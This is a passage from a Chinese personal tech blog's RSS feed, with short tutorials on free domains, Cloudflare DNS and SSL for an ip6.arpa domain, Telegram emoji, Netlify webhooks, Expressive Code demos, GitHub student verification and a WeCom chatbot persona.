<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-49-27-image.BQH-HSNr.png" alt="" /></p>
|
||
<p>输入域名,然后添加到购物车</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-50-09-image.BFHGjK8X.png" alt="" /></p>
|
||
<p>点击结账</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-50-20-image.BtJdcvAu.png" alt="" /></p>
|
||
<p>在这里登录Github账户(我已经免费拿一个了所以拿不了噜~)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-51-05-image.B8aHEVo7.png" alt="" /></p>
|
||
<p>不出意外你的Total应该是0,点击就购买成功!</p>
|
||
<hr />
|
||
<p>接下来来到 https://controlpanel.tech/</p>
|
||
<p>登录你的账户</p>
|
||
<p>输入你的域名并跳转到控制台</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-53-59-image.DhQuGy0B.png" alt="" /></p>
|
||
<p>改NS到Cloudflare~</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-54-26-image.vafc2fnz.png" alt="" /></p>
|
||
<p>当当当当~</p>
|
||
<p>激活咯~</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-54-51-db66a30e7c1fa897656df0c4e0d90390.DwLqDgfG.png" alt="" /></p>
|
||
</content:encoded></item><item><title>教你制作自己的Telegram Emoji!</title><link>https://blog.acofork.com/posts/tg-emoji/</link><guid isPermaLink="true">https://blog.acofork.com/posts/tg-emoji/</guid><description>欧呦不赖,开了个大会员终于可以戴上Netlify的表情咯~</description><pubDate>Mon, 11 Aug 2025 21:22:46 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>本文讲述的是添加TG的Emoji,不是贴纸!!!</p>
|
||
</blockquote>
|
||
<p>准备若干张 PNG或WEBP,100x100 px的图片</p>
|
||
<p>然后找到 @Stickers</p>
|
||
<p>发送 <code>/newemojipack</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-28-30-image.CeJRDSdh.png" alt="" /></p>
|
||
<p>这里使用静态表情,即 <code>static</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-28-53-image.CZmllZq8.png" alt="" /></p>
|
||
<p>接下来随便起个名字,我这里就叫 <code>Logo</code></p>
|
||
<p>然后发送你的图片</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-29-20-image.Bj61vR7k.png" alt="" /></p>
|
||
<p>接下来发送一个能代表你表情的Emoji,并且发布</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-30-19-image.fTOgbH9s.png" alt="" /></p>
|
||
<p>然后设置一个 <code>pathname</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-30-37-image.C5Q2pr8W.png" alt="" /></p>
|
||
<p>点击上面的链接就可以添加咯~</p>
|
||
<p>如果你是Telegram Premium,还可以挂在昵称旁边哦~</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-21-31-21-image.BZKEwznl.png" alt="" /></p>
|
||
</content:encoded></item><item><title>Expressive Code 记录</title><link>https://blog.acofork.com/posts/expressive-code/</link><guid isPermaLink="true">https://blog.acofork.com/posts/expressive-code/</guid><description>如何使用Expressive Code 代码块及迁移踩坑记录</description><pubDate>Mon, 11 Aug 2025 00:00:00 GMT</pubDate><content:encoded><blockquote>
|
||
<p>本文非站长原创,由 <a href="https://github.com/afoim/fuwari/pull/27">Expressive code by yCENzh · Pull Request #27 · afoim/fuwari</a> 提供</p>
|
||
</blockquote>
|
||
<p>:::note
|
||
原文链接:<a href="https://14131413.xyz/posts/default/expressive-code/">Expressive Code Example</a>
|
||
:::</p>
|
||
<blockquote>
|
||
<h3>踩坑</h3>
|
||
<ol>
|
||
<li>首先按照fuwari原仓库commit进行修改,发现ac没推上去,构建第一次失败</li>
|
||
<li>推完ac后发现在ec中引用了三个插件,但是pnpm astro add并没有自动安装,第二次修改</li>
|
||
<li>现在正常跑起来了,但是由于2x主题的原因,样式很奇怪,再改一次</li>
|
||
<li>这下正常了,推pr去</li>
|
||
<li>没错我又回来了,滑块样式有问题,什么奇奇怪怪的圆角对不齐,干脆调小圆角</li>
|
||
<li>应该是这个pr最后一次提交了,合并上游8个commit,不愧是劳模2x</li>
|
||
<li>去tm的ANSI</li>
|
||
</ol>
|
||
</blockquote>
|
||
<p>Here, we'll explore how code blocks look using <a href="https://expressive-code.com/">Expressive Code</a>. The provided examples are based on the official documentation, which you can refer to for further details.
|
||
在这里,我们将探索使用 <a href="https://expressive-code.com/">Expressive Code</a> 的代码块显示效果。提供的示例基于官方文档,您可以参考该文档获取更多细节。</p>
|
||
<h2>Expressive Code</h2>
|
||
<h3>Syntax Highlighting</h3>
|
||
<h3>语法高亮</h3>
|
||
<p><a href="https://expressive-code.com/key-features/syntax-highlighting/">Syntax Highlighting</a>
|
||
<a href="https://expressive-code.com/key-features/syntax-highlighting/">语法高亮</a></p>
|
||
<h4>Regular syntax highlighting</h4>
|
||
<h4>常规语法高亮</h4>
|
||
<pre><code>console.log('This code is syntax highlighted!')
|
||
</code></pre>
|
||
<h3>Editor &amp; Terminal Frames</h3>
|
||
<h3>编辑器与终端框架</h3>
|
||
<p><a href="https://expressive-code.com/key-features/frames/">Editor &amp; Terminal Frames</a>
|
||
<a href="https://expressive-code.com/key-features/frames/">编辑器与终端框架</a></p>
|
||
<h4>Code editor frames</h4>
|
||
<h4>代码编辑器框架</h4>
|
||
<pre><code>console.log('Title attribute example')
|
||
</code></pre>
|
||
<hr />
|
||
<pre><code>&lt;!-- src/content/index.html --&gt;
|
||
&lt;div&gt;File name comment example&lt;/div&gt;
|
||
</code></pre>
|
||
<h4>Terminal frames</h4>
|
||
<h4>终端框架</h4>
|
||
<pre><code>echo "This terminal frame has no title"
|
||
</code></pre>
|
||
<hr />
|
||
<pre><code>Write-Output "This one has a title!"
|
||
</code></pre>
|
||
<h4>Overriding frame types</h4>
|
||
<h4>覆盖框架类型</h4>
|
||
<pre><code>echo "Look ma, no frame!"
|
||
</code></pre>
|
||
<hr />
|
||
<pre><code># Without overriding, this would be a terminal frame
|
||
function Watch-Tail { Get-Content -Tail 20 -Wait $args }
|
||
New-Alias tail Watch-Tail
|
||
</code></pre>
|
||
<h3>Text &amp; Line Markers</h3>
|
||
<h3>文本与行标记</h3>
|
||
<p><a href="https://expressive-code.com/key-features/text-markers/">Text &amp; Line Markers</a>
|
||
<a href="https://expressive-code.com/key-features/text-markers/">文本与行标记</a></p>
|
||
<h4>Marking full lines &amp; line ranges</h4>
|
||
<h4>标记整行与行范围</h4>
|
||
<pre><code>// Line 1 - targeted by line number
|
||
// Line 2
|
||
// Line 3
|
||
// Line 4 - targeted by line number
|
||
// Line 5
|
||
// Line 6
|
||
// Line 7 - targeted by range "7-8"
|
||
// Line 8 - targeted by range "7-8"
|
||
</code></pre>
|
||
<h4>Selecting line marker types (mark, ins, del)</h4>
|
||
<h4>选择行标记类型(mark, ins, del)</h4>
|
||
<pre><code>function demo() {
|
||
console.log('this line is marked as deleted')
|
||
// This line and the next one are marked as inserted
|
||
console.log('this is the second inserted line')
|
||
|
||
return 'this line uses the neutral default marker type'
|
||
}
|
||
</code></pre>
|
||
<h4>Adding labels to line markers</h4>
|
||
<h4>为行标记添加标签</h4>
|
||
<pre><code>// labeled-line-markers.jsx
|
||
&lt;button
|
||
role="button"
|
||
{...props}
|
||
value={value}
|
||
className={buttonClassName}
|
||
disabled={disabled}
|
||
active={active}
|
||
&gt;
|
||
{children &amp;&amp;
|
||
!active &amp;&amp;
|
||
(typeof children === 'string' ? &lt;span&gt;{children}&lt;/span&gt; : children)}
|
||
&lt;/button&gt;
|
||
</code></pre>
|
||
<h4>Adding long labels on their own lines</h4>
|
||
<h4>在独立行添加长标签</h4>
|
||
<pre><code>// labeled-line-markers.jsx
|
||
&lt;button
|
||
role="button"
|
||
{...props}
|
||
|
||
value={value}
|
||
className={buttonClassName}
|
||
|
||
disabled={disabled}
|
||
active={active}
|
||
&gt;
|
||
|
||
{children &amp;&amp;
|
||
!active &amp;&amp;
|
||
(typeof children === 'string' ? &lt;span&gt;{children}&lt;/span&gt; : children)}
|
||
&lt;/button&gt;
|
||
</code></pre>
|
||
<h4>Using diff-like syntax</h4>
|
||
<h4>使用类似 diff 的语法</h4>
|
||
<pre><code>+this line will be marked as inserted
|
||
-this line will be marked as deleted
|
||
this is a regular line
|
||
</code></pre>
|
||
<hr />
|
||
<pre><code>--- a/README.md
|
||
+++ b/README.md
|
||
@@ -1,3 +1,4 @@
|
||
+this is an actual diff file
|
||
-all contents will remain unmodified
|
||
no whitespace will be removed either
|
||
</code></pre>
|
||
<h4>Combining syntax highlighting with diff-like syntax</h4>
|
||
<h4>结合语法高亮与类似 diff 的语法</h4>
|
||
<pre><code> function thisIsJavaScript() {
|
||
// This entire block gets highlighted as JavaScript,
|
||
// and we can still add diff markers to it!
|
||
- console.log('Old code to be removed')
|
||
+ console.log('New and shiny code!')
|
||
}
|
||
</code></pre>
|
||
<h4>Marking individual text inside lines</h4>
|
||
<h4>标记行内特定文本</h4>
|
||
<pre><code>function demo() {
|
||
// Mark any given text inside lines
|
||
return 'Multiple matches of the given text are supported';
|
||
}
|
||
</code></pre>
|
||
<h4>Regular expressions</h4>
|
||
<h4>正则表达式</h4>
|
||
<pre><code>console.log('The words yes and yep will be marked.')
|
||
</code></pre>
|
||
<h4>Escaping forward slashes</h4>
|
||
<h4>转义正斜杠</h4>
|
||
<pre><code>echo "Test" &gt; /home/test.txt
|
||
</code></pre>
|
||
<h4>Selecting inline marker types (mark, ins, del)</h4>
|
||
<h4>选择行内标记类型(mark, ins, del)</h4>
|
||
<pre><code>function demo() {
|
||
console.log('These are inserted and deleted marker types');
|
||
// The return statement uses the default marker type
|
||
return true;
|
||
}
|
||
</code></pre>
|
||
<h2>Collapsible Sections</h2>
|
||
<h2>可折叠部分</h2>
|
||
<p><a href="https://expressive-code.com/plugins/collapsible-sections/">Collapsible Sections</a>
|
||
<a href="https://expressive-code.com/plugins/collapsible-sections/">可折叠部分</a></p>
|
||
<pre><code>// All this boilerplate setup code will be collapsed
|
||
import { someBoilerplateEngine } from '@example/some-boilerplate'
|
||
import { evenMoreBoilerplate } from '@example/even-more-boilerplate'
|
||
|
||
const engine = someBoilerplateEngine(evenMoreBoilerplate())
|
||
|
||
// This part of the code will be visible by default
|
||
engine.doSomething(1, 2, 3, calcFn)
|
||
|
||
function calcFn() {
|
||
// You can have multiple collapsed sections
|
||
const a = 1
|
||
const b = 2
|
||
const c = a + b
|
||
|
||
// This will remain visible
|
||
console.log(`Calculation result: ${a} + ${b} = ${c}`)
|
||
return c
|
||
}
|
||
|
||
// All this code until the end of the block will be collapsed again
|
||
engine.closeConnection()
|
||
engine.freeMemory()
|
||
engine.shutdown({ reason: 'End of example boilerplate code' })
|
||
</code></pre>
|
||
<h2>Line Numbers</h2>
|
||
<h2>行号</h2>
|
||
<p><a href="https://expressive-code.com/plugins/line-numbers/">Line Numbers</a>
|
||
<a href="https://expressive-code.com/plugins/line-numbers/">行号</a></p>
|
||
<h3>Displaying line numbers per block</h3>
|
||
<h3>按代码块显示行号</h3>
|
||
<pre><code>// This code block will show line numbers
|
||
console.log('Greetings from line 2!')
|
||
console.log('I am on line 3')
|
||
</code></pre>
|
||
<hr />
|
||
<pre><code>// Line numbers are disabled for this block
|
||
console.log('Hello?')
|
||
console.log('Sorry, do you know what line I am on?')
|
||
</code></pre>
|
||
<h3>Changing the starting line number</h3>
|
||
<h3>更改起始行号</h3>
|
||
<pre><code>console.log('Greetings from line 5!')
|
||
console.log('I am on line 6')
|
||
</code></pre>
|
||
</content:encoded></item><item><title>认证为Folo的创作者</title><link>https://blog.acofork.com/posts/folo-verification/</link><guid isPermaLink="true">https://blog.acofork.com/posts/folo-verification/</guid><description>Folo是一个RSS聚合平台,在上面不仅可以订阅很多优质的RSS源,也可以认领自己的RSS源</description><pubDate>Sun, 10 Aug 2025 21:26:55 GMT</pubDate><content:encoded><h1>这是啥?</h1>
|
||
<p>这是一篇Folo认证文章,用于认证本RSS归属于我</p>
|
||
<p>Zola:</p>
|
||
<p>This message is used to verify that this feed (feedId:154118531036739584) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.</p>
|
||
<p>Fuwari:</p>
|
||
<p>This message is used to verify that this feed (feedId:180993728847509504) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.</p>
|
||
<p>blog.acofork.com</p>
|
||
<p>This message is used to verify that this feed (feedId:236818461447222272) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.</p>
|
||
<h1>我要怎么认证?</h1>
|
||
<p>首先 你得有一个博客,或者说一个有RSS的网站</p>
|
||
<p>比如 2x.nz/rss.xml</p>
|
||
<p>接下来在Folo处点击认证 https://folo.is</p>
|
||
<p>会弹出一个内容,要求让你放置到RSS</p>
|
||
<p>最简单的方法就是像我这样新建一篇文章,然后原封不动粘贴这段话,然后认证即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-10-21-31-04-image.BeZCjMu2.png" alt="" /></p>
|
||
</content:encoded></item><item><title>利用Netlify WebHook来实时提醒你的订阅者博客文章更新</title><link>https://blog.acofork.com/posts/netlify-webhook/</link><guid isPermaLink="true">https://blog.acofork.com/posts/netlify-webhook/</guid><description>早期提过使用Github WebHook来做到这件事,今天偶然发现了Netlify也可以做到同样的事情</description><pubDate>Sat, 09 Aug 2025 00:01:00 GMT</pubDate><content:encoded><h1>原理</h1>
|
||
<p>早期文章提到过 <a href="/posts/github-webhook">利用Github Webhook为你的订阅者推送文章更新消息</a></p>
|
||
<p>其实已经很完美了,但是仍有一些缺陷</p>
|
||
<p>比如Github WebHook确实可以让Bot知道什么时候有了新的提交</p>
|
||
<p>但是Github并不知道构建服务需要构建多久</p>
|
||
<p>只能设置一个保守的延迟推送</p>
|
||
<p>但是当我们再使用Netlify的WebHook的时候</p>
|
||
<p>情况就变得不同了</p>
|
||
<p>Netlify可以在站点构建成功后向Bot发送WebHook</p>
|
||
<p>但是也有缺陷</p>
|
||
<p>那就是Netlify不支持检测文件变动</p>
|
||
<p>但是</p>
|
||
<p>我们只需要将两者结合</p>
|
||
<p>则工作流为
|
||
Push -&gt;</p>
|
||
<p>Github Webhook 通知Bot -&gt;</p>
|
||
<p>Bot收到提交信息,如果合法,则记录变动的文章,并且等待Netlify发送部署成功的WebHook -&gt;</p>
|
||
<p>Netlify WebHook 通知Bot站点部署成功 -&gt;</p>
|
||
<p>Bot即刻推送文章更新消息 √</p>
|
||
<h1>实操</h1>
|
||
<p>添加HTTP POST钩子</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-23-15-10-image.Dxcxsufp.png" alt="" /></p>
|
||
<p>创建一个部署成功钩子</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-23-15-40-image.CjD0-VmI.png" alt="" /></p>
|
||
<h1>Bot端</h1>
|
||
<p>设置一个双监听WebHook服务器,同时接受Github和Netlify的WebHook即可。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-23-36-50-5ec10aad91b98d8d36699c7956c705f0.97Swj02q.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-23-39-27-cfc2d6a91a07455adbcee0c491143640.BTi7GcEI.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-23-57-02-image.CvrqPqPz.png" alt="" /></p>
|
||
</content:encoded></item><item><title>有自己的开源项目?来申请Netlify的Open Source计划!</title><link>https://blog.acofork.com/posts/netlify-oss/</link><guid isPermaLink="true">https://blog.acofork.com/posts/netlify-oss/</guid><description>昨天在乱翻Netlify的网站,突然发现了一个开源计划的申请入口,故申请,没想到今天就通过了😋</description><pubDate>Sat, 09 Aug 2025 00:00:01 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>[! WARNING]</p>
|
||
<p>Netlify OSS计划不受理个人博客</p>
|
||
</blockquote>
|
||
<p>确保你有一个开源项目,并且已经托管在了Netlify,Github的也有你网站的链接
|
||
<img src="https://blog.acofork.com/_astro/2025-08-09-12-30-32-image.DmyqEEYN.png" alt="" /></p>
|
||
<p>前往 https://opensource-form.netlify.com/</p>
|
||
<p>填写相关信息,提交。</p>
|
||
<p>我是这样写的</p>
|
||
<pre><code>Open Source Team Application
|
||
Applicant Name: no name provided
|
||
Applicant Email: acofork@gmail.com
|
||
Project Name: afoim/fuwari
|
||
Proof of Contributors:
|
||
Code of Conduct URL: https://2x.nz
|
||
Project License URL: MIT license
|
||
Netlify Site URL: https://2x.nz/posts/static-web/#netlify
|
||
Notes:
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-05-17-05-image.CiqSiSHC.png" alt="" /></p>
|
||
<p>一天后收到已开通 <code>Open Source</code> 计划的邮件。如果没有通过也没关系,你可以直接回复这封邮件,带上你的疑问,注意使用英文</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-05-17-36-image.C_38yVqz.png" alt="" /></p>
|
||
<p>账户也自动从 <code>Starter</code> 升级到了 <code>Open Source</code> 计划</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-05-18-12-image.Dn61HcdN.png" alt="" /></p>
|
||
</content:encoded></item><item><title>【开源】WPwebplayer——简洁通用的网页播放器</title><link>https://blog.acofork.com/posts/wpwebplayer/</link><guid isPermaLink="true">https://blog.acofork.com/posts/wpwebplayer/</guid><description>一款简单,简洁,轻量,通用的开源网站音乐播放器</description><pubDate>Sat, 09 Aug 2025 00:00:00 GMT</pubDate><content:encoded><blockquote>
|
||
<p>本文章非站长本人撰写,由他人Pr添加: https://github.com/afoim/fuwari/pull/23</p>
|
||
</blockquote>
|
||
<h1>WPWebPlayer(html网站播放组件)</h1>
|
||
<h2>一款简单,简洁,轻量的网站音乐播放器 <a href="https://wpwebplayer.112601.xyz/">体验界面</a>
|
||
<img src="https://imgbed.112601.xyz/file/1752422083916.png" alt="示例" /><br />
|
||
<a href="https://www.yunsen2025.top/023-wpmusicplayer">项目文章(博客)</a> | <a href="https://wpwebplayer.112601.xyz/">体验界面</a> | <a href="https://www.jsdelivr.com/package/npm/wpwebplayer?tab=files">NPM包(前端资源)</a></h2>
|
||
<h1>项目特性:</h1>
|
||
<ul>
|
||
<li>简约:仅需引入css与js文件,统一使用<code>&lt;wp-music-player&gt;</code>标签</li>
|
||
<li>简单:无更多冗杂功能,回归最基础的【网站音乐播放】</li>
|
||
<li>可控性强:支持多个自定义参数,播放功能 ui颜色均可自定义</li>
|
||
<li>易于集成:可用于任何html项目中</li>
|
||
</ul>
|
||
<hr />
|
||
<h1>使用方式:</h1>
|
||
<ol>
|
||
<li>在<code>&lt;head&gt;</code>标签中引入css与js文件</li>
|
||
</ol>
|
||
<pre><code>&lt;link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/wpwebplayer@1.1.5/min-css.css"&gt;
|
||
&lt;script src="https://cdn.jsdelivr.net/npm/wpwebplayer@1.1.5/min-js.js"&gt;&lt;/script&gt;
|
||
</code></pre>
|
||
<ol>
|
||
<li>在<code>&lt;body&gt;</code>中使用<code>&lt;wp-music-player&gt;</code>标签</li>
|
||
</ol>
|
||
<pre><code> &lt;wp-music-player
|
||
src=""
|
||
title=""
|
||
artist=""
|
||
cover=""
|
||
autoplay="true"
|
||
loop="true"
|
||
volume="0.3"
|
||
fixed="true"
|
||
mini="true"
|
||
theme="#ff6b6b"&gt;
|
||
&lt;/wp-music-player&gt;
|
||
</code></pre>
|
||
<h2>(代码示例请前往<a href="https://github.com/yunsen2025/WPwebplayer/blob/main/example.html">example.html</a>)</h2>
|
||
<h1>参数说明</h1>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>属性</th>
|
||
<th>类型</th>
|
||
<th>默认值</th>
|
||
<th>描述</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td><code>src</code></td>
|
||
<td><code>string</code></td>
|
||
<td>无</td>
|
||
<td>音频文件地址(必须)</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>title</code></td>
|
||
<td><code>string</code></td>
|
||
<td>无</td>
|
||
<td>音乐标题</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>artist</code></td>
|
||
<td><code>string</code></td>
|
||
<td>无</td>
|
||
<td>作者</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>cover</code></td>
|
||
<td><code>string</code></td>
|
||
<td>无</td>
|
||
<td>封面图片URL</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>autoplay</code></td>
|
||
<td><code>true / false</code></td>
|
||
<td><code>false</code></td>
|
||
<td>是否自动播放</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>loop</code></td>
|
||
<td><code>true / false</code></td>
|
||
<td><code>true</code></td>
|
||
<td>是否循环播放</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>volume</code></td>
|
||
<td><code>number</code> (0~1)</td>
|
||
<td><code>1.0</code></td>
|
||
<td>初始音量(0~1)</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>fixed</code></td>
|
||
<td><code>true / false</code></td>
|
||
<td><code>true</code></td>
|
||
<td>是否固定样式</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>mini</code></td>
|
||
<td><code>true / false</code></td>
|
||
<td><code>true</code></td>
|
||
<td>是否迷你模式</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>theme</code></td>
|
||
<td><code>string</code>(色值)</td>
|
||
<td><code>#00c3ff</code></td>
|
||
<td>主题颜色</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<h2>说明</h2>
|
||
<ul>
|
||
<li>src&amp;cover:均需将图片上传至图床并引用</li>
|
||
<li>autoplay:参数失效 浏览器安全策略禁止未经允许的音频自动播放<a href="https://developer.chrome.com/blog/autoplay?hl=zh-cn">Chrome 中的自动播放政策</a>(需要用户手动操作后才能播放)</li>
|
||
<li>volume: 0~1 的小数值,代表 0%~100% 的音量大小</li>
|
||
<li>fixed:使播放器始终固定在页脚,不会因页面滚动产生的相对位置变化影响播放器实际位置(默认为 true)</li>
|
||
<li>mini:“迷你模式”和“完整模式”切换 完整模式支持更多功能(有bug 还没修)</li>
|
||
<li>theme:主题颜色 默认为#00c3ff</li>
|
||
</ul>
|
||
<h1>特别鸣谢</h1>
|
||
<p><a href="https://github.com/MarSeventh">@MarSeventh</a> <code>叁月柒</code>大佬,在开发过程中提供宝贵帮助,解决数个关键bug</p>
|
||
</content:encoded></item><item><title>IPv6反解域名是什么?嫩长一坨还能托管到Cloudflare?SSL签发也没问题?</title><link>https://blog.acofork.com/posts/ip6-arpa/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ip6-arpa/</guid><description>你是否见过类似 e.b.9.f.0.7.4.0.1.0.0.2.ip6.arpa 这样的域名,今天就教你搞一个!</description><pubDate>Sat, 09 Aug 2025 00:00:00 GMT</pubDate><content:encoded><h1>这是什么</h1>
|
||
<blockquote>
|
||
<p>以下内容来自GPT-5</p>
|
||
</blockquote>
|
||
<p>这是一个 <strong>IPv6 反向解析(Reverse DNS)域名</strong>,遵循 <code>ip6.arpa</code> 格式。<br />
|
||
它是把 IPv6 地址每个十六进制数字倒序排列,加上 <code>.ip6.arpa</code> 后缀,用于 DNS 反查时将域名解析回原 IPv6 地址。</p>
|
||
<h1>将 x.x.x.x.x.x.x.x.x.x.x.x.ip6.arpa 弄到手</h1>
|
||
<blockquote>
|
||
<p>视频教程: https://www.bilibili.com/video/BV1q8tBzsEPi/</p>
|
||
</blockquote>
|
||
<p>前往 <a href="https://tunnelbroker.net/">Hurricane Electric Free IPv6 Tunnel Broker</a></p>
|
||
<p>注册一个账号(需要用域名邮箱)</p>
|
||
<p>创建隧道。需要一台启用了ICMP信令的VPS</p>
|
||
<p>填上IP后,TunnelBroker会向其发送Ping请求</p>
|
||
<p>如果TunnelBroker收到了回应,并且该IP没有被其他隧道绑定,就会弹出绿色,可绑定的标志</p>
|
||
<p>如果该IP曾被绑定,则需要进行HTTP验证</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-04-53-04-image.CYIYGiC1.png" alt="" /></p>
|
||
<p>进入这个页面,查看TunnelBroker为你分配的路由IPv6</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-04-55-24-image.DCNNsTof.png" alt="" /></p>
|
||
<p>以 <code>2001:470:24:386::/64</code> 为例</p>
|
||
<p>首先加0,每项4位,通过 <code>:</code> 分割,则为 <code>2001047000240386</code></p>
|
||
<p>然后倒过来,则为 <code>6830420007401002</code></p>
|
||
<p>最后,加上 <code>.</code> 和 <code>.ip6.arpa</code> ,则为 <code>6.8.3.0.4.2.0.0.0.7.4.0.1.0.0.2.ip6.arpa</code></p>
|
||
<p>将其添加到Cloudflare</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-04-59-05-image.B-_9Hifp.png" alt="" /></p>
|
||
<p>查看Cloudflare要求你设置的NS服务器</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-04-59-25-image.Cu1-nqzh.png" alt="" /></p>
|
||
<p>回到TunnelBroker进行设置</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-04-59-49-image.DvR5EzoN.png" alt="" /></p>
|
||
<p>等待域被激活即可</p>
|
||
<h1>为其签发SSL</h1>
|
||
<p>默认 ipra 无法签发SSL,因为会被大部分SSL提供商拒签</p>
|
||
<p>将Cloudflare SSL提供商改为 SSL.COM 可以解决这个问题</p>
|
||
<p>获取必要信息,发起更改SSL提供商请求</p>
|
||
<pre><code>curl --location --request PATCH 'https://api.cloudflare.com/client/v4/zones/&lt;zone_id&gt;/ssl/universal/settings' --header 'X-Auth-Email: 你的CF注册邮箱' --header 'X-Auth-Key: 你的CF全局APIKey' --header 'Content-Type: application/json' --data-raw '{"enabled":true,"certificate_authority":"ssl_com"}'
|
||
</code></pre>
|
||
<p>稍等片刻,CF会自动使用新的SSL提供商签发SSL</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-09-05-07-40-image.Cr2UtAnW.png" alt="" /></p>
|
||
<h1>局限性</h1>
|
||
<p>本人测试,如果您自己创建SSL.COM的账户尝试签发SSL会拒签。故该域名仅能在Cloudflare CDN下使用</p>
|
||
</content:encoded></item><item><title>Github新版学生认证怎么过?用记事本!</title><link>https://blog.acofork.com/posts/github-edu/</link><guid isPermaLink="true">https://blog.acofork.com/posts/github-edu/</guid><description>突然被粉丝怂恿来弄Github学生认证,弄了半天,被我发现了奇技淫巧???</description><pubDate>Fri, 08 Aug 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>视频: https://www.bilibili.com/video/BV1kAtrzzEkG</p>
|
||
</blockquote>
|
||
<p>确保你是个学生</p>
|
||
<p>并且拥有 <strong>学生证、录取通知书、毕业证</strong> 中的其中一种(我使用录取通知书)</p>
|
||
<p>首先来到 <a href="https://github.com/settings/billing/payment_information">Payment Information</a> 确保是你的真实信息,并且姓名使用拼音</p>
|
||
<p>如果不是,请进行更改,然后<strong>一定要重登Github!</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-08-01-03-14-image.Dx0ixvaw.png" alt="" /></p>
|
||
<p>接下来前往 <a href="https://github.com/settings/education/benefits">GitHub · Where software is built</a> 推荐使用校园网或者流量</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-08-01-05-18-image.BtZdjGe7.png" alt="" /></p>
|
||
<p>按需选</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-08-01-06-02-image.BpfCbacb.png" alt="" /></p>
|
||
<p>这里拍照注意!如果你的证件没有英文版的,请不要直接拍原件</p>
|
||
<p>找个记事本手动翻译一下</p>
|
||
<p>比如我的录取通知书翻译为</p>
|
||
<p>然后用手机拍照即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-08-01-06-56-image.rZp2QpXo.png" alt="" /></p>
|
||
<p>不出意外,批准!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-08-01-07-22-image.CWsA_OAr.png" alt="" /></p>
|
||
<h1>疑难解答</h1>
|
||
<p>报错什么姓名不符,确保你的Github Payment Information姓名和你提交的证明文件姓名一样,如果不一样,改完一定要注销重新登录Github才行
|
||
报错用了VPN或者位置不对,请确保使用中国大陆网络!如果你没有校园网就用流量!</p>
|
||
</content:encoded></item><item><title>你说什么?企业微信能免费用Deepseek?!还能调成猫娘?!!</title><link>https://blog.acofork.com/posts/qiyewx-deepseek/</link><guid isPermaLink="true">https://blog.acofork.com/posts/qiyewx-deepseek/</guid><description>今天无意中建了个企业微信群,然后就发现可以加智能体,然后就调了个猫娘出来...</description><pubDate>Thu, 07 Aug 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>非常简单,首先你要有一个企业微信号</p>
|
||
<p>然后前往 <code>工作台</code> 往下拉找到 <code>智能机器人</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-07-04-12-05-e290f1322ccb6a32082cad8d44017ba4.zsw3mMQz.jpg" alt="" /></p>
|
||
<p>接下来就可以创建了</p>
|
||
<p>在 <code>角色设定</code> 可以提示词注入一下</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-07-04-13-32-13b847d4e4e01c1780dbf18828172ebe_720.BzFnpELz.jpg" alt="" /></p>
|
||
<p>然后你就得到了</p>
|
||
